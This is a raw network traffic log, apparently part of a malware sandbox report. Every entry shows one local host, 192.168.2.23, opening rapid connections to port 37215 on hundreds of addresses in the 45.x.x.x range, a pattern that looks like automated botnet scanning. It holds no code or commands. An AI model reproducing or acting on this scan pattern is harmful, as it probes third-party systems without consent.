Feb 19, 2024 18:35:38.470630884 CET	54001	37215	192.168.2.23	45.53.85.84
Feb 19, 2024 18:35:38.470643044 CET	54001	37215	192.168.2.23	45.136.6.223
Feb 19, 2024 18:35:38.470652103 CET	54001	37215	192.168.2.23	45.18.37.108
Feb 19, 2024 18:35:38.470653057 CET	54001	37215	192.168.2.23	45.16.174.218
Feb 19, 2024 18:35:38.470668077 CET	54001	37215	192.168.2.23	45.24.47.208
Feb 19, 2024 18:35:38.470699072 CET	54001	37215	192.168.2.23	45.18.139.101
Feb 19, 2024 18:35:38.470710039 CET	54001	37215	192.168.2.23	45.138.4.44
Feb 19, 2024 18:35:38.470716000 CET	54001	37215	192.168.2.23	45.201.101.195
Feb 19, 2024 18:35:38.470724106 CET	54001	37215	192.168.2.23	45.93.206.53
Feb 19, 2024 18:35:38.470740080 CET	54001	37215	192.168.2.23	45.99.99.174
Feb 19, 2024 18:35:38.470740080 CET	54001	37215	192.168.2.23	45.143.176.250
Feb 19, 2024 18:35:38.470746040 CET	54001	37215	192.168.2.23	45.128.155.231
Feb 19, 2024 18:35:38.470760107 CET	54001	37215	192.168.2.23	45.154.0.42
Feb 19, 2024 18:35:38.470771074 CET	54001	37215	192.168.2.23	45.239.23.121
Feb 19, 2024 18:35:38.470787048 CET	54001	37215	192.168.2.23	45.138.5.151
Feb 19, 2024 18:35:38.470813990 CET	54001	37215	192.168.2.23	45.37.64.129
Feb 19, 2024 18:35:38.470817089 CET	54001	37215	192.168.2.23	45.127.79.109
Feb 19, 2024 18:35:38.470822096 CET	54001	37215	192.168.2.23	45.128.172.232
Feb 19, 2024 18:35:38.470829964 CET	54001	37215	192.168.2.23	45.118.101.57
Feb 19, 2024 18:35:38.470849037 CET	54001	37215	192.168.2.23	45.174.142.235
Feb 19, 2024 18:35:38.470863104 CET	54001	37215	192.168.2.23	45.139.219.239
Feb 19, 2024 18:35:38.470880985 CET	54001	37215	192.168.2.23	45.7.245.71
Feb 19, 2024 18:35:38.470887899 CET	54001	37215	192.168.2.23	45.63.251.102
Feb 19, 2024 18:35:38.470896006 CET	54001	37215	192.168.2.23	45.185.27.229
Feb 19, 2024 18:35:38.470902920 CET	54001	37215	192.168.2.23	45.36.9.121
Feb 19, 2024 18:35:38.470915079 CET	54001	37215	192.168.2.23	45.133.8.138
Feb 19, 2024 18:35:38.470932961 CET	54001	37215	192.168.2.23	45.110.141.197
Feb 19, 2024 18:35:38.470937967 CET	54001	37215	192.168.2.23	45.44.226.169
Feb 19, 2024 18:35:38.470952034 CET	54001	37215	192.168.2.23	45.8.159.89
Feb 19, 2024 18:35:38.470957994 CET	54001	37215	192.168.2.23	45.47.193.233
Feb 19, 2024 18:35:38.470969915 CET	54001	37215	192.168.2.23	45.42.204.198
Feb 19, 2024 18:35:38.470979929 CET	54001	37215	192.168.2.23	45.15.187.185
Feb 19, 2024 18:35:38.470995903 CET	54001	37215	192.168.2.23	45.189.13.200
Feb 19, 2024 18:35:38.471009970 CET	54001	37215	192.168.2.23	45.31.144.251
Feb 19, 2024 18:35:38.471016884 CET	54001	37215	192.168.2.23	45.11.207.176
Feb 19, 2024 18:35:38.471028090 CET	54001	37215	192.168.2.23	45.196.32.198
Feb 19, 2024 18:35:38.471045017 CET	54001	37215	192.168.2.23	45.102.151.100
Feb 19, 2024 18:35:38.471061945 CET	54001	37215	192.168.2.23	45.234.97.178
Feb 19, 2024 18:35:38.471081018 CET	54001	37215	192.168.2.23	45.240.6.139
Feb 19, 2024 18:35:38.471095085 CET	54001	37215	192.168.2.23	45.11.148.103
Feb 19, 2024 18:35:38.471105099 CET	54001	37215	192.168.2.23	45.130.42.71
Feb 19, 2024 18:35:38.471116066 CET	54001	37215	192.168.2.23	45.139.184.151
Feb 19, 2024 18:35:38.471117973 CET	54001	37215	192.168.2.23	45.37.97.214
Feb 19, 2024 18:35:38.471139908 CET	54001	37215	192.168.2.23	45.103.155.82
Feb 19, 2024 18:35:38.471167088 CET	54001	37215	192.168.2.23	45.75.203.213
Feb 19, 2024 18:35:38.471174955 CET	54001	37215	192.168.2.23	45.189.180.187
Feb 19, 2024 18:35:38.471190929 CET	54001	37215	192.168.2.23	45.246.190.103
Feb 19, 2024 18:35:38.471195936 CET	54001	37215	192.168.2.23	45.201.194.223
Feb 19, 2024 18:35:38.471208096 CET	54001	37215	192.168.2.23	45.209.93.186
Feb 19, 2024 18:35:38.471219063 CET	54001	37215	192.168.2.23	45.144.45.59
Feb 19, 2024 18:35:38.471221924 CET	54001	37215	192.168.2.23	45.208.154.181
Feb 19, 2024 18:35:38.471221924 CET	54001	37215	192.168.2.23	45.50.206.200
Feb 19, 2024 18:35:38.471246958 CET	54001	37215	192.168.2.23	45.193.60.3
Feb 19, 2024 18:35:38.471246958 CET	54001	37215	192.168.2.23	45.3.91.109
Feb 19, 2024 18:35:38.471273899 CET	54001	37215	192.168.2.23	45.102.249.229
Feb 19, 2024 18:35:38.471290112 CET	54001	37215	192.168.2.23	45.87.169.92
Feb 19, 2024 18:35:38.471290112 CET	54001	37215	192.168.2.23	45.241.60.50
Feb 19, 2024 18:35:38.471313000 CET	54001	37215	192.168.2.23	45.47.247.36
Feb 19, 2024 18:35:38.471322060 CET	54001	37215	192.168.2.23	45.59.245.47
Feb 19, 2024 18:35:38.471323967 CET	54001	37215	192.168.2.23	45.201.228.13
Feb 19, 2024 18:35:38.471333981 CET	54001	37215	192.168.2.23	45.239.213.208
Feb 19, 2024 18:35:38.471354008 CET	54001	37215	192.168.2.23	45.33.168.236
Feb 19, 2024 18:35:38.471354008 CET	54001	37215	192.168.2.23	45.78.190.202
Feb 19, 2024 18:35:38.471369982 CET	54001	37215	192.168.2.23	45.202.208.45
Feb 19, 2024 18:35:38.471391916 CET	54001	37215	192.168.2.23	45.7.136.42
Feb 19, 2024 18:35:38.471402884 CET	54001	37215	192.168.2.23	45.223.77.251
Feb 19, 2024 18:35:38.471402884 CET	54001	37215	192.168.2.23	45.81.51.148
Feb 19, 2024 18:35:38.471430063 CET	54001	37215	192.168.2.23	45.226.223.227
Feb 19, 2024 18:35:38.471441031 CET	54001	37215	192.168.2.23	45.201.132.120
Feb 19, 2024 18:35:38.471447945 CET	54001	37215	192.168.2.23	45.29.62.108
Feb 19, 2024 18:35:38.471447945 CET	54001	37215	192.168.2.23	45.194.175.216
Feb 19, 2024 18:35:38.471467972 CET	54001	37215	192.168.2.23	45.210.211.17
Feb 19, 2024 18:35:38.471472025 CET	54001	37215	192.168.2.23	45.244.238.147
Feb 19, 2024 18:35:38.471483946 CET	54001	37215	192.168.2.23	45.56.19.110
Feb 19, 2024 18:35:38.471492052 CET	54001	37215	192.168.2.23	45.115.252.0
Feb 19, 2024 18:35:38.471508026 CET	54001	37215	192.168.2.23	45.63.52.194
Feb 19, 2024 18:35:38.471530914 CET	54001	37215	192.168.2.23	45.157.4.167
Feb 19, 2024 18:35:38.471544981 CET	54001	37215	192.168.2.23	45.91.62.87
Feb 19, 2024 18:35:38.471554995 CET	54001	37215	192.168.2.23	45.10.16.64
Feb 19, 2024 18:35:38.471581936 CET	54001	37215	192.168.2.23	45.25.85.192
Feb 19, 2024 18:35:38.471589088 CET	54001	37215	192.168.2.23	45.199.205.56
Feb 19, 2024 18:35:38.471589088 CET	54001	37215	192.168.2.23	45.199.153.113
Feb 19, 2024 18:35:38.471606970 CET	54001	37215	192.168.2.23	45.247.92.126
Feb 19, 2024 18:35:38.471606970 CET	54001	37215	192.168.2.23	45.200.150.198
Feb 19, 2024 18:35:38.471607924 CET	54001	37215	192.168.2.23	45.194.11.185
Feb 19, 2024 18:35:38.471622944 CET	54001	37215	192.168.2.23	45.70.214.34
Feb 19, 2024 18:35:38.471636057 CET	54001	37215	192.168.2.23	45.196.11.99
Feb 19, 2024 18:35:38.471648932 CET	54001	37215	192.168.2.23	45.222.125.100
Feb 19, 2024 18:35:38.471668959 CET	54001	37215	192.168.2.23	45.79.155.59
Feb 19, 2024 18:35:38.471672058 CET	54001	37215	192.168.2.23	45.248.224.152
Feb 19, 2024 18:35:38.471688032 CET	54001	37215	192.168.2.23	45.211.248.12
Feb 19, 2024 18:35:38.471692085 CET	54001	37215	192.168.2.23	45.102.62.36
Feb 19, 2024 18:35:38.471700907 CET	54001	37215	192.168.2.23	45.113.49.30
Feb 19, 2024 18:35:38.471712112 CET	54001	37215	192.168.2.23	45.210.200.242
Feb 19, 2024 18:35:38.471725941 CET	54001	37215	192.168.2.23	45.141.80.171
Feb 19, 2024 18:35:38.471750021 CET	54001	37215	192.168.2.23	45.146.161.232
Feb 19, 2024 18:35:38.471765041 CET	54001	37215	192.168.2.23	45.196.74.40
Feb 19, 2024 18:35:38.471769094 CET	54001	37215	192.168.2.23	45.201.131.53
Feb 19, 2024 18:35:38.471777916 CET	54001	37215	192.168.2.23	45.221.164.164
Feb 19, 2024 18:35:38.471792936 CET	54001	37215	192.168.2.23	45.17.186.204
Feb 19, 2024 18:35:38.471811056 CET	54001	37215	192.168.2.23	45.15.2.2
Feb 19, 2024 18:35:38.471832037 CET	54001	37215	192.168.2.23	45.37.186.205
Feb 19, 2024 18:35:38.471836090 CET	54001	37215	192.168.2.23	45.225.239.22
Feb 19, 2024 18:35:38.471847057 CET	54001	37215	192.168.2.23	45.14.37.92
Feb 19, 2024 18:35:38.471859932 CET	54001	37215	192.168.2.23	45.72.48.5
Feb 19, 2024 18:35:38.471874952 CET	54001	37215	192.168.2.23	45.49.110.94
Feb 19, 2024 18:35:38.471884966 CET	54001	37215	192.168.2.23	45.98.34.105
Feb 19, 2024 18:35:38.471911907 CET	54001	37215	192.168.2.23	45.151.234.5
Feb 19, 2024 18:35:38.471920967 CET	54001	37215	192.168.2.23	45.163.211.81
Feb 19, 2024 18:35:38.471921921 CET	54001	37215	192.168.2.23	45.240.58.191
Feb 19, 2024 18:35:38.471921921 CET	54001	37215	192.168.2.23	45.205.31.81
Feb 19, 2024 18:35:38.471936941 CET	54001	37215	192.168.2.23	45.81.245.224
Feb 19, 2024 18:35:38.471951008 CET	54001	37215	192.168.2.23	45.205.207.7
Feb 19, 2024 18:35:38.471951008 CET	54001	37215	192.168.2.23	45.29.213.181
Feb 19, 2024 18:35:38.471976042 CET	54001	37215	192.168.2.23	45.25.178.19
Feb 19, 2024 18:35:38.471987963 CET	54001	37215	192.168.2.23	45.179.47.227
Feb 19, 2024 18:35:38.471991062 CET	54001	37215	192.168.2.23	45.210.76.113
Feb 19, 2024 18:35:38.471996069 CET	54001	37215	192.168.2.23	45.231.29.207
Feb 19, 2024 18:35:38.472012043 CET	54001	37215	192.168.2.23	45.213.219.129
Feb 19, 2024 18:35:38.472023010 CET	54001	37215	192.168.2.23	45.49.190.207
Feb 19, 2024 18:35:38.472038031 CET	54001	37215	192.168.2.23	45.66.59.7
Feb 19, 2024 18:35:38.472044945 CET	54001	37215	192.168.2.23	45.210.200.61
Feb 19, 2024 18:35:38.472060919 CET	54001	37215	192.168.2.23	45.158.176.0
Feb 19, 2024 18:35:38.472074032 CET	54001	37215	192.168.2.23	45.244.188.105
Feb 19, 2024 18:35:38.472085953 CET	54001	37215	192.168.2.23	45.180.179.25
Feb 19, 2024 18:35:38.472091913 CET	54001	37215	192.168.2.23	45.113.51.65
Feb 19, 2024 18:35:38.472115040 CET	54001	37215	192.168.2.23	45.161.124.215
Feb 19, 2024 18:35:38.472120047 CET	54001	37215	192.168.2.23	45.75.63.215
Feb 19, 2024 18:35:38.472121000 CET	54001	37215	192.168.2.23	45.117.63.205
Feb 19, 2024 18:35:38.472134113 CET	54001	37215	192.168.2.23	45.127.148.40
Feb 19, 2024 18:35:38.472147942 CET	54001	37215	192.168.2.23	45.232.132.19
Feb 19, 2024 18:35:38.472168922 CET	54001	37215	192.168.2.23	45.138.187.83
Feb 19, 2024 18:35:38.472177982 CET	54001	37215	192.168.2.23	45.102.21.126
Feb 19, 2024 18:35:38.472177982 CET	54001	37215	192.168.2.23	45.3.1.233
Feb 19, 2024 18:35:38.472186089 CET	54001	37215	192.168.2.23	45.195.132.67
Feb 19, 2024 18:35:38.472199917 CET	54001	37215	192.168.2.23	45.146.4.0
Feb 19, 2024 18:35:38.472215891 CET	54001	37215	192.168.2.23	45.226.140.169
Feb 19, 2024 18:35:38.472220898 CET	54001	37215	192.168.2.23	45.230.100.163
Feb 19, 2024 18:35:38.472239017 CET	54001	37215	192.168.2.23	45.16.64.19
Feb 19, 2024 18:35:38.472254038 CET	54001	37215	192.168.2.23	45.102.231.144
Feb 19, 2024 18:35:38.472254038 CET	54001	37215	192.168.2.23	45.72.66.247
Feb 19, 2024 18:35:38.472302914 CET	54001	37215	192.168.2.23	45.61.66.19
Feb 19, 2024 18:35:38.472311974 CET	54001	37215	192.168.2.23	45.198.234.101
Feb 19, 2024 18:35:38.472311974 CET	54001	37215	192.168.2.23	45.26.104.209
Feb 19, 2024 18:35:38.472326994 CET	54001	37215	192.168.2.23	45.143.44.71
Feb 19, 2024 18:35:38.472335100 CET	54001	37215	192.168.2.23	45.200.122.59
Feb 19, 2024 18:35:38.472363949 CET	54001	37215	192.168.2.23	45.222.231.186
Feb 19, 2024 18:35:38.472366095 CET	54001	37215	192.168.2.23	45.75.168.81
Feb 19, 2024 18:35:38.472368956 CET	54001	37215	192.168.2.23	45.178.144.250
Feb 19, 2024 18:35:38.472377062 CET	54001	37215	192.168.2.23	45.93.163.25
Feb 19, 2024 18:35:38.472395897 CET	54001	37215	192.168.2.23	45.204.103.94
Feb 19, 2024 18:35:38.472407103 CET	54001	37215	192.168.2.23	45.97.218.109
Feb 19, 2024 18:35:38.472419977 CET	54001	37215	192.168.2.23	45.165.199.105
Feb 19, 2024 18:35:38.472430944 CET	54001	37215	192.168.2.23	45.113.144.22
Feb 19, 2024 18:35:38.472449064 CET	54001	37215	192.168.2.23	45.85.250.140
Feb 19, 2024 18:35:38.472449064 CET	54001	37215	192.168.2.23	45.92.126.94
Feb 19, 2024 18:35:38.472466946 CET	54001	37215	192.168.2.23	45.6.16.18
Feb 19, 2024 18:35:38.472476006 CET	54001	37215	192.168.2.23	45.68.49.247
Feb 19, 2024 18:35:38.472493887 CET	54001	37215	192.168.2.23	45.221.149.202
Feb 19, 2024 18:35:38.472502947 CET	54001	37215	192.168.2.23	45.252.52.192
Feb 19, 2024 18:35:38.472518921 CET	54001	37215	192.168.2.23	45.22.173.194
Feb 19, 2024 18:35:38.472532034 CET	54001	37215	192.168.2.23	45.112.73.245
Feb 19, 2024 18:35:38.472554922 CET	54001	37215	192.168.2.23	45.41.25.80
Feb 19, 2024 18:35:38.472569942 CET	54001	37215	192.168.2.23	45.126.1.181
Feb 19, 2024 18:35:38.472577095 CET	54001	37215	192.168.2.23	45.77.6.156
Feb 19, 2024 18:35:38.472594023 CET	54001	37215	192.168.2.23	45.164.178.158
Feb 19, 2024 18:35:38.472601891 CET	54001	37215	192.168.2.23	45.103.164.125
Feb 19, 2024 18:35:38.472610950 CET	54001	37215	192.168.2.23	45.204.242.154
Feb 19, 2024 18:35:38.472630024 CET	54001	37215	192.168.2.23	45.248.148.39
Feb 19, 2024 18:35:38.472645998 CET	54001	37215	192.168.2.23	45.25.107.204
Feb 19, 2024 18:35:38.472666025 CET	54001	37215	192.168.2.23	45.231.66.158
Feb 19, 2024 18:35:38.472666025 CET	54001	37215	192.168.2.23	45.185.84.77
Feb 19, 2024 18:35:38.472702980 CET	54001	37215	192.168.2.23	45.215.75.71
Feb 19, 2024 18:35:38.472728014 CET	54001	37215	192.168.2.23	45.186.28.53
Feb 19, 2024 18:35:38.472739935 CET	54001	37215	192.168.2.23	45.137.2.186
Feb 19, 2024 18:35:38.472753048 CET	54001	37215	192.168.2.23	45.47.106.206
Feb 19, 2024 18:35:38.472767115 CET	54001	37215	192.168.2.23	45.254.220.104
Feb 19, 2024 18:35:38.472767115 CET	54001	37215	192.168.2.23	45.203.27.87
Feb 19, 2024 18:35:38.472769022 CET	54001	37215	192.168.2.23	45.142.99.116
Feb 19, 2024 18:35:38.472795963 CET	54001	37215	192.168.2.23	45.200.86.245
Feb 19, 2024 18:35:38.472799063 CET	54001	37215	192.168.2.23	45.140.159.84
Feb 19, 2024 18:35:38.472810030 CET	54001	37215	192.168.2.23	45.9.207.42
Feb 19, 2024 18:35:38.472820044 CET	54001	37215	192.168.2.23	45.139.226.209
Feb 19, 2024 18:35:38.472837925 CET	54001	37215	192.168.2.23	45.78.56.221
Feb 19, 2024 18:35:38.472846985 CET	54001	37215	192.168.2.23	45.93.228.43
Feb 19, 2024 18:35:38.472862959 CET	54001	37215	192.168.2.23	45.103.176.230
Feb 19, 2024 18:35:38.472872019 CET	54001	37215	192.168.2.23	45.176.17.250
Feb 19, 2024 18:35:38.472887993 CET	54001	37215	192.168.2.23	45.191.170.95
Feb 19, 2024 18:35:38.472902060 CET	54001	37215	192.168.2.23	45.74.53.72
Feb 19, 2024 18:35:38.472915888 CET	54001	37215	192.168.2.23	45.110.147.90
Feb 19, 2024 18:35:38.472929955 CET	54001	37215	192.168.2.23	45.197.129.1
Feb 19, 2024 18:35:38.472938061 CET	54001	37215	192.168.2.23	45.97.105.219
Feb 19, 2024 18:35:38.472949982 CET	54001	37215	192.168.2.23	45.19.108.21
Feb 19, 2024 18:35:38.472960949 CET	54001	37215	192.168.2.23	45.219.234.229
Feb 19, 2024 18:35:38.472982883 CET	54001	37215	192.168.2.23	45.176.204.238
Feb 19, 2024 18:35:38.472990990 CET	54001	37215	192.168.2.23	45.52.83.254
Feb 19, 2024 18:35:38.473006964 CET	54001	37215	192.168.2.23	45.48.11.152
Feb 19, 2024 18:35:38.473032951 CET	54001	37215	192.168.2.23	45.193.48.153
Feb 19, 2024 18:35:38.473043919 CET	54001	37215	192.168.2.23	45.7.232.65
Feb 19, 2024 18:35:38.473043919 CET	54001	37215	192.168.2.23	45.118.245.19
Feb 19, 2024 18:35:38.473051071 CET	54001	37215	192.168.2.23	45.139.247.203
Feb 19, 2024 18:35:38.473071098 CET	54001	37215	192.168.2.23	45.181.57.189
Feb 19, 2024 18:35:38.473086119 CET	54001	37215	192.168.2.23	45.128.36.164
Feb 19, 2024 18:35:38.473094940 CET	54001	37215	192.168.2.23	45.105.62.24
Feb 19, 2024 18:35:38.473109961 CET	54001	37215	192.168.2.23	45.229.103.149
Feb 19, 2024 18:35:38.473119974 CET	54001	37215	192.168.2.23	45.41.178.199
Feb 19, 2024 18:35:38.473148108 CET	54001	37215	192.168.2.23	45.220.75.92
Feb 19, 2024 18:35:38.473155975 CET	54001	37215	192.168.2.23	45.159.131.242
Feb 19, 2024 18:35:38.473160982 CET	54001	37215	192.168.2.23	45.238.66.87
Feb 19, 2024 18:35:38.473175049 CET	54001	37215	192.168.2.23	45.240.76.238
Feb 19, 2024 18:35:38.473185062 CET	54001	37215	192.168.2.23	45.155.61.57
Feb 19, 2024 18:35:38.473191023 CET	54001	37215	192.168.2.23	45.1.143.99
Feb 19, 2024 18:35:38.473207951 CET	54001	37215	192.168.2.23	45.198.40.63
Feb 19, 2024 18:35:38.473227978 CET	54001	37215	192.168.2.23	45.230.0.137
Feb 19, 2024 18:35:38.473228931 CET	54001	37215	192.168.2.23	45.100.184.213
Feb 19, 2024 18:35:38.473238945 CET	54001	37215	192.168.2.23	45.68.57.62
Feb 19, 2024 18:35:38.473253965 CET	54001	37215	192.168.2.23	45.104.245.113
Feb 19, 2024 18:35:38.473268032 CET	54001	37215	192.168.2.23	45.133.116.60
Feb 19, 2024 18:35:38.473283052 CET	54001	37215	192.168.2.23	45.25.223.116
Feb 19, 2024 18:35:38.473297119 CET	54001	37215	192.168.2.23	45.25.206.217
Feb 19, 2024 18:35:38.473321915 CET	54001	37215	192.168.2.23	45.53.192.70
Feb 19, 2024 18:35:38.473325014 CET	54001	37215	192.168.2.23	45.144.183.231
Feb 19, 2024 18:35:38.473335028 CET	54001	37215	192.168.2.23	45.35.2.164
Feb 19, 2024 18:35:38.473346949 CET	54001	37215	192.168.2.23	45.198.138.94
Feb 19, 2024 18:35:38.473364115 CET	54001	37215	192.168.2.23	45.35.146.115
Feb 19, 2024 18:35:38.473376989 CET	54001	37215	192.168.2.23	45.183.57.77
Feb 19, 2024 18:35:38.473414898 CET	54001	37215	192.168.2.23	45.42.114.132
Feb 19, 2024 18:35:38.473424911 CET	54001	37215	192.168.2.23	45.229.223.50
Feb 19, 2024 18:35:38.473424911 CET	54001	37215	192.168.2.23	45.73.125.32
Feb 19, 2024 18:35:38.473437071 CET	54001	37215	192.168.2.23	45.84.1.73
Feb 19, 2024 18:35:38.473452091 CET	54001	37215	192.168.2.23	45.86.92.107
Feb 19, 2024 18:35:38.473462105 CET	54001	37215	192.168.2.23	45.62.27.250
Feb 19, 2024 18:35:38.473481894 CET	54001	37215	192.168.2.23	45.43.22.245
Feb 19, 2024 18:35:38.473481894 CET	54001	37215	192.168.2.23	45.83.51.156
Feb 19, 2024 18:35:38.473490000 CET	54001	37215	192.168.2.23	45.27.85.137
Feb 19, 2024 18:35:38.473490000 CET	54001	37215	192.168.2.23	45.197.156.12
Feb 19, 2024 18:35:38.473522902 CET	54001	37215	192.168.2.23	45.42.27.89
Feb 19, 2024 18:35:38.473531008 CET	54001	37215	192.168.2.23	45.252.75.61
Feb 19, 2024 18:35:38.473548889 CET	54001	37215	192.168.2.23	45.163.49.4
Feb 19, 2024 18:35:38.473562002 CET	54001	37215	192.168.2.23	45.100.188.46
Feb 19, 2024 18:35:38.473577023 CET	54001	37215	192.168.2.23	45.243.97.247
Feb 19, 2024 18:35:38.473601103 CET	54001	37215	192.168.2.23	45.199.117.86
Feb 19, 2024 18:35:38.473613024 CET	54001	37215	192.168.2.23	45.95.145.16
Feb 19, 2024 18:35:38.473623037 CET	54001	37215	192.168.2.23	45.77.25.252
Feb 19, 2024 18:35:38.473635912 CET	54001	37215	192.168.2.23	45.21.152.73
Feb 19, 2024 18:35:38.473648071 CET	54001	37215	192.168.2.23	45.216.43.33
Feb 19, 2024 18:35:38.473655939 CET	54001	37215	192.168.2.23	45.61.179.249
Feb 19, 2024 18:35:38.473655939 CET	54001	37215	192.168.2.23	45.248.250.61
Feb 19, 2024 18:35:38.473671913 CET	54001	37215	192.168.2.23	45.110.7.38
Feb 19, 2024 18:35:38.473686934 CET	54001	37215	192.168.2.23	45.134.162.101
Feb 19, 2024 18:35:38.473700047 CET	54001	37215	192.168.2.23	45.158.175.128
Feb 19, 2024 18:35:38.473711967 CET	54001	37215	192.168.2.23	45.176.75.234
Feb 19, 2024 18:35:38.473726034 CET	54001	37215	192.168.2.23	45.4.250.131
Feb 19, 2024 18:35:38.473740101 CET	54001	37215	192.168.2.23	45.79.79.249
Feb 19, 2024 18:35:38.473752975 CET	54001	37215	192.168.2.23	45.217.189.45
Feb 19, 2024 18:35:38.473779917 CET	54001	37215	192.168.2.23	45.51.92.100
Feb 19, 2024 18:35:38.473789930 CET	54001	37215	192.168.2.23	45.99.3.73
Feb 19, 2024 18:35:38.473800898 CET	54001	37215	192.168.2.23	45.145.130.60
Feb 19, 2024 18:35:38.473808050 CET	54001	37215	192.168.2.23	45.221.70.74
Feb 19, 2024 18:35:38.473810911 CET	54001	37215	192.168.2.23	45.228.39.80
Feb 19, 2024 18:35:38.473825932 CET	54001	37215	192.168.2.23	45.134.20.231
Feb 19, 2024 18:35:38.473829985 CET	54001	37215	192.168.2.23	45.88.223.94
Feb 19, 2024 18:35:38.473848104 CET	54001	37215	192.168.2.23	45.72.57.77
Feb 19, 2024 18:35:38.473854065 CET	54001	37215	192.168.2.23	45.42.205.109
Feb 19, 2024 18:35:38.473867893 CET	54001	37215	192.168.2.23	45.142.78.30
Feb 19, 2024 18:35:38.473875046 CET	54001	37215	192.168.2.23	45.35.248.100
Feb 19, 2024 18:35:38.473901987 CET	54001	37215	192.168.2.23	45.255.234.253
Feb 19, 2024 18:35:38.473912954 CET	54001	37215	192.168.2.23	45.10.227.7
Feb 19, 2024 18:35:38.473912954 CET	54001	37215	192.168.2.23	45.21.152.2
Feb 19, 2024 18:35:38.473929882 CET	54001	37215	192.168.2.23	45.74.215.174
Feb 19, 2024 18:35:38.473939896 CET	54001	37215	192.168.2.23	45.225.84.203
Feb 19, 2024 18:35:38.473965883 CET	54001	37215	192.168.2.23	45.64.106.166
Feb 19, 2024 18:35:38.473967075 CET	54001	37215	192.168.2.23	45.158.106.211
Feb 19, 2024 18:35:38.473987103 CET	54001	37215	192.168.2.23	45.131.235.115
Feb 19, 2024 18:35:38.473999977 CET	54001	37215	192.168.2.23	45.27.98.149
Feb 19, 2024 18:35:38.474009037 CET	54001	37215	192.168.2.23	45.58.44.181
Feb 19, 2024 18:35:38.474035025 CET	54001	37215	192.168.2.23	45.216.38.6
Feb 19, 2024 18:35:38.474055052 CET	54001	37215	192.168.2.23	45.217.234.117
Feb 19, 2024 18:35:38.474081993 CET	54001	37215	192.168.2.23	45.133.250.191
Feb 19, 2024 18:35:38.474096060 CET	54001	37215	192.168.2.23	45.185.142.44
Feb 19, 2024 18:35:38.474106073 CET	54001	37215	192.168.2.23	45.0.243.229
Feb 19, 2024 18:35:38.474106073 CET	54001	37215	192.168.2.23	45.23.225.61
Feb 19, 2024 18:35:38.474121094 CET	54001	37215	192.168.2.23	45.135.108.19
Feb 19, 2024 18:35:38.474137068 CET	54001	37215	192.168.2.23	45.247.158.174
Feb 19, 2024 18:35:38.474140882 CET	54001	37215	192.168.2.23	45.158.40.198
Feb 19, 2024 18:35:38.474147081 CET	54001	37215	192.168.2.23	45.12.208.15
Feb 19, 2024 18:35:38.474169016 CET	54001	37215	192.168.2.23	45.105.174.8
Feb 19, 2024 18:35:38.474189043 CET	54001	37215	192.168.2.23	45.15.154.148
Feb 19, 2024 18:35:38.474199057 CET	54001	37215	192.168.2.23	45.1.176.237
Feb 19, 2024 18:35:38.474211931 CET	54001	37215	192.168.2.23	45.189.128.122
Feb 19, 2024 18:35:38.474212885 CET	54001	37215	192.168.2.23	45.202.224.14
Feb 19, 2024 18:35:38.474217892 CET	54001	37215	192.168.2.23	45.86.71.151
Feb 19, 2024 18:35:38.474242926 CET	54001	37215	192.168.2.23	45.251.215.10
Feb 19, 2024 18:35:38.474258900 CET	54001	37215	192.168.2.23	45.222.62.236
Feb 19, 2024 18:35:38.474271059 CET	54001	37215	192.168.2.23	45.33.48.196
Feb 19, 2024 18:35:38.474271059 CET	54001	37215	192.168.2.23	45.139.241.162
Feb 19, 2024 18:35:38.474287033 CET	54001	37215	192.168.2.23	45.207.1.4
Feb 19, 2024 18:35:38.474301100 CET	54001	37215	192.168.2.23	45.175.41.99
Feb 19, 2024 18:35:38.474314928 CET	54001	37215	192.168.2.23	45.199.223.216
Feb 19, 2024 18:35:38.474327087 CET	54001	37215	192.168.2.23	45.192.214.202
Feb 19, 2024 18:35:38.474343061 CET	54001	37215	192.168.2.23	45.139.214.107
Feb 19, 2024 18:35:38.474361897 CET	54001	37215	192.168.2.23	45.95.12.157
Feb 19, 2024 18:35:38.474371910 CET	54001	37215	192.168.2.23	45.219.233.163
Feb 19, 2024 18:35:38.474371910 CET	54001	37215	192.168.2.23	45.217.163.161
Feb 19, 2024 18:35:38.474390984 CET	54001	37215	192.168.2.23	45.202.11.194
Feb 19, 2024 18:35:38.474404097 CET	54001	37215	192.168.2.23	45.126.199.239
Feb 19, 2024 18:35:38.474427938 CET	54001	37215	192.168.2.23	45.121.73.117
Feb 19, 2024 18:35:38.474427938 CET	54001	37215	192.168.2.23	45.58.1.71
Feb 19, 2024 18:35:38.474447966 CET	54001	37215	192.168.2.23	45.192.65.250
Feb 19, 2024 18:35:38.474455118 CET	54001	37215	192.168.2.23	45.182.244.34
Feb 19, 2024 18:35:38.474467039 CET	54001	37215	192.168.2.23	45.253.205.198
Feb 19, 2024 18:35:38.474498034 CET	54001	37215	192.168.2.23	45.116.135.60
Feb 19, 2024 18:35:38.474510908 CET	54001	37215	192.168.2.23	45.81.60.165
Feb 19, 2024 18:35:38.474519968 CET	54001	37215	192.168.2.23	45.170.45.124
Feb 19, 2024 18:35:38.474530935 CET	54001	37215	192.168.2.23	45.10.22.114
Feb 19, 2024 18:35:38.474540949 CET	54001	37215	192.168.2.23	45.186.14.179
Feb 19, 2024 18:35:38.474550962 CET	54001	37215	192.168.2.23	45.179.139.137
Feb 19, 2024 18:35:38.474570036 CET	54001	37215	192.168.2.23	45.61.126.122
Feb 19, 2024 18:35:38.474570036 CET	54001	37215	192.168.2.23	45.53.192.44
Feb 19, 2024 18:35:38.474589109 CET	54001	37215	192.168.2.23	45.80.4.31
Feb 19, 2024 18:35:38.474601984 CET	54001	37215	192.168.2.23	45.80.23.243
Feb 19, 2024 18:35:38.474627972 CET	54001	37215	192.168.2.23	45.40.20.189
Feb 19, 2024 18:35:38.474631071 CET	54001	37215	192.168.2.23	45.203.33.156
Feb 19, 2024 18:35:38.474649906 CET	54001	37215	192.168.2.23	45.231.178.197
Feb 19, 2024 18:35:38.474674940 CET	54001	37215	192.168.2.23	45.50.212.58
Feb 19, 2024 18:35:38.474674940 CET	54001	37215	192.168.2.23	45.190.187.71
Feb 19, 2024 18:35:38.474675894 CET	54001	37215	192.168.2.23	45.78.93.70
Feb 19, 2024 18:35:38.474694014 CET	54001	37215	192.168.2.23	45.236.209.233
Feb 19, 2024 18:35:38.474708080 CET	54001	37215	192.168.2.23	45.85.162.85
Feb 19, 2024 18:35:38.474729061 CET	54001	37215	192.168.2.23	45.82.184.14
Feb 19, 2024 18:35:38.474736929 CET	54001	37215	192.168.2.23	45.173.94.49
Feb 19, 2024 18:35:38.474745035 CET	54001	37215	192.168.2.23	45.132.11.215
Feb 19, 2024 18:35:38.474760056 CET	54001	37215	192.168.2.23	45.81.216.195
